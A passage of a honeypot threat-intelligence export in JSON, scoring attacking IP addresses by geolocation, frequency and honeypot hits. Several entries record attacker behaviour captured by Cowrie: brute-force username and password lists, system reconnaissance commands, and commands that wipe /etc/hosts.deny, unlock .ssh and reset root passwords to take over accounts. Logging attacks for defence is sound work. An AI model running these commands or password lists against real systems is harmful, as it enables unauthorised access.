        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:26:51.022000+00:00",
        "last_seen_30d": "2026-03-26T10:28:05.904000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.135.41.38": {
      "attack_count": 2,
      "first_seen": "2026-03-24T08:33:22.589Z",
      "last_seen": "2026-03-24T08:33:35.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:55:18.528000+00:00",
        "last_seen_30d": "2026-03-24T08:34:44.697000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 16,
        "Cowrie": 2
      }
    },
    "170.246.107.78": {
      "attack_count": 2,
      "first_seen": "2026-03-10T05:44:00.401Z",
      "last_seen": "2026-03-10T05:44:31.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palmas",
      "asn": 262352,
      "as_org": "NOVA TELECOM LTDA",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:44:00.401000+00:00",
        "last_seen_30d": "2026-03-10T05:45:39.363000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "180.83.155.240": {
      "attack_count": 2,
      "first_seen": "2026-03-26T10:27:26.430Z",
      "last_seen": "2026-03-26T10:27:56.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:27:26.430000+00:00",
        "last_seen_30d": "2026-03-26T10:29:05.548000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.199.65.248": {
      "attack_count": 2,
      "first_seen": "2026-03-28T22:54:12.275Z",
      "last_seen": "2026-03-28T22:54:25.531Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cabo San Lucas",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:54:12.275000+00:00",
        "last_seen_30d": "2026-03-28T22:55:28.292000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.127.250.113": {
      "attack_count": 2,
      "first_seen": "2026-03-22T13:56:18.719Z",
      "last_seen": "2026-03-22T13:58:18.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 56694,
      "as_org": "LLC Smart Ape",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T13:56:18.719000+00:00",
        "last_seen_30d": "2026-03-22T14:08:25.898000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.187.178.83": {
      "attack_count": 2,
      "first_seen": "2026-03-08T01:50:43.032Z",
      "last_seen": "2026-03-08T01:50:47.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:50:43.032000+00:00",
        "last_seen_30d": "2026-03-08T01:51:52.543000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.38.25.42": {
      "attack_count": 2,
      "first_seen": "2026-03-14T20:38:59.245Z",
      "last_seen": "2026-03-14T20:38:59.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T20:38:59.245000+00:00",
        "last_seen_30d": "2026-03-14T20:40:01.244000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "3.126.138.41": {
      "attack_count": 2,
      "first_seen": "2026-03-02T01:04:23.876Z",
      "last_seen": "2026-03-02T01:04:55.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:04:23.876000+00:00",
        "last_seen_30d": "2026-03-02T01:06:01.381000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.34.242.96": {
      "attack_count": 2,
      "first_seen": "2026-03-13T03:25:00.159Z",
      "last_seen": "2026-03-13T03:25:13.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kuwait",
      "country_code": "KW",
      "city": "Kuwait City",
      "asn": 42961,
      "as_org": "Mobile Telecommunications Company K.S.C.P.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T03:25:00.159000+00:00",
        "last_seen_30d": "2026-03-13T03:26:17.133000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.212.179": {
      "attack_count": 2,
      "first_seen": "2026-03-21T02:20:07.017Z",
      "last_seen": "2026-03-21T02:20:20.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:20:07.017000+00:00",
        "last_seen_30d": "2026-03-21T02:21:27.969000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.156.230.44": {
      "attack_count": 2,
      "first_seen": "2026-03-27T19:13:13.434Z",
      "last_seen": "2026-03-27T19:13:25.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Granada Hills",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T19:13:13.434000+00:00",
        "last_seen_30d": "2026-03-27T19:14:27.387000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.42.89.106": {
      "attack_count": 2,
      "first_seen": "2026-03-21T07:20:44.336Z",
      "last_seen": "2026-03-21T07:21:11.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 39493,
      "as_org": "CJSC Kolomna-Sviaz TV",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T07:20:44.336000+00:00",
        "last_seen_30d": "2026-03-21T07:22:20.319000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "54.186.71.227": {
      "attack_count": 2,
      "first_seen": "2026-03-15T01:11:07.562Z",
      "last_seen": "2026-03-15T01:11:17.725Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T01:11:07.562000+00:00",
        "last_seen_30d": "2026-03-15T01:12:23.772000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.120.105.236": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:09:44.473Z",
      "last_seen": "2026-03-09T20:09:57.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:09:44.473000+00:00",
        "last_seen_30d": "2026-03-09T20:10:59.457000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.126.175.8": {
      "attack_count": 2,
      "first_seen": "2026-03-14T23:25:58.091Z",
      "last_seen": "2026-03-14T23:26:10.669Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T23:25:58.091000+00:00",
        "last_seen_30d": "2026-03-14T23:27:18.336000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.20.167.74": {
      "attack_count": 2,
      "first_seen": "2026-03-08T07:53:32.038Z",
      "last_seen": "2026-03-08T07:54:03.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Basra",
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:53:32.038000+00:00",
        "last_seen_30d": "2026-03-08T07:55:11.638000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "74.116.58.130": {
      "attack_count": 2,
      "first_seen": "2026-03-29T01:51:30.214Z",
      "last_seen": "2026-03-29T01:52:00.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Portmore",
      "asn": 11580,
      "as_org": "Island Networks Ltd",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T01:51:30.214000+00:00",
        "last_seen_30d": "2026-03-29T01:53:02.185000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "82.22.17.75": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:31:26.446Z",
      "last_seen": "2026-03-13T17:31:26.729Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48011,
      "as_org": "Turunc Smart Bilgisayar Teknoloji Ve Dis Ticaret Limited Sirketi",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:31:26.446000+00:00",
        "last_seen_30d": "2026-03-13T17:32:36.140000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "83.234.164.239": {
      "attack_count": 2,
      "first_seen": "2026-03-02T10:16:21.612Z",
      "last_seen": "2026-03-02T10:18:21.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nyandoma",
      "asn": 15974,
      "as_org": "Joint Stock Company TransTeleCom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T10:16:21.612000+00:00",
        "last_seen_30d": "2026-03-02T10:28:26.163000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.151": {
      "attack_count": 2,
      "first_seen": "2026-03-07T04:16:42.937Z",
      "last_seen": "2026-03-07T04:16:45.942Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T09:42:41+00:00",
        "last_seen_30d": "2026-03-30T19:22:50.299000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 29,
        "Cowrie": 2
      }
    },
    "95.246.165.61": {
      "attack_count": 2,
      "first_seen": "2026-03-15T01:49:52.744Z",
      "last_seen": "2026-03-15T01:50:08.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Palermo",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T01:49:52.744000+00:00",
        "last_seen_30d": "2026-03-15T01:51:09.891000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.94.92.184": {
      "attack_count": 2249,
      "first_seen": "2026-03-03T00:26:51.543Z",
      "last_seen": "2026-03-30T07:05:26.149Z",
      "sessions": 448,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "solana",
        "ubuntu",
        "sol",
        "banxgg",
        "ethereum"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "solv",
        "12345678",
        "1234567890",
        "sol",
        "1",
        "12",
        "123321",
        "1234",
        "12345",
        "123456.cn",
        "1234567",
        "123456789",
        "123@",
        "Sol",
        "Solana",
        "abc123",
        "banx",
        "banxgg"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3400,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:16:16.365000+00:00",
        "last_seen_30d": "2026-03-30T07:06:29.532000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2249,
        "Suricata": 1151
      }
    },
    "161.35.172.93": {
      "attack_count": 1095,
      "first_seen": "2026-03-03T04:02:29.688Z",
      "last_seen": "2026-03-03T06:59:24.584Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [
        "git",
        "hadoop",
        "oracle",
        "postgres",
        "user",
        "test",
        "root",
        "apache",
        "deploy",
        "guest",
        "jira",
        "mysql",
        "nagios",
        "pul",
        "server",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "pass",
        "password",
        "qwerty",
        "123321",
        "123456",
        "1234qwer",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "321123",
        "654321",
        "P@ssw0rd",
        "p@ssw0rd",
        "pass123",
        "pass1234",
        "passpass",
        "passwd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1566,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T04:02:29.688000+00:00",
        "last_seen_30d": "2026-03-03T07:00:32.190000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1095,
        "Suricata": 471
      }
    },
    "212.11.64.156": {
      "attack_count": 876,
      "first_seen": "2026-03-10T00:33:24.755Z",
      "last_seen": "2026-03-30T06:20:26.659Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "business",
        "c",
        "clawd",
        "ftpuser01",
        "rock",
        "user",
        "usuarioftp",
        "asus",
        "carlos",
        "cy",
        "debian",
        "dockeradmin",
        "email",
        "emma",
        "ems",
        "g",
        "guest",
        "home"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "0216",
        "123",
        "123321.0",
        "1234",
        "123456",
        "12345678",
        "12qazWsx",
        "1@admin",
        "20242025",
        "3edc$RFV%TGB",
        "Aa123.",
        "Abc@12345678",
        "Abcd12345678!",
        "Admin!@#456",
        "Admin123@",
        "Ch@ng3m3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\n48nkZzAmV7Z3\\n48nkZzAmV7Z3\\n\"|passwd",
        "echo \"admin123456\\nxrI7Bd29UNGH\\nxrI7Bd29UNGH\\n\"|passwd",
        "echo \"business1234\\nDErPKRK7WdrE\\nDErPKRK7WdrE\\n\"|passwd",
        "echo \"c123!\\nOVWUSkFgzBOX\\nOVWUSkFgzBOX\\n\"|passwd",
        "echo \"rock1234\\nMR3xeDfI9m4a\\nMR3xeDfI9m4a\\n\"|passwd",
        "echo \"root:aTjtJYkhdh4O\"|chpasswd|bash",
        "echo \"root:xC0eeZpc2H2O\"|chpasswd|bash",
        "echo -e \"12345\\n48nkZzAmV7Z3\\n48nkZzAmV7Z3\"|passwd|bash",
        "echo -e \"admin123456\\nxrI7Bd29UNGH\\nxrI7Bd29UNGH\"|passwd|bash",
        "echo -e \"business1234\\nDErPKRK7WdrE\\nDErPKRK7WdrE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1100,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:33:24.755000+00:00",
        "last_seen_30d": "2026-03-30T06:21:33.769000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 876,
        "Suricata": 224
      }
    },
    "31.59.89.180": {
      "attack_count": 698,
      "first_seen": "2026-03-07T23:19:48.682Z",
      "last_seen": "2026-03-24T21:47:55.778Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cron",
        "root",
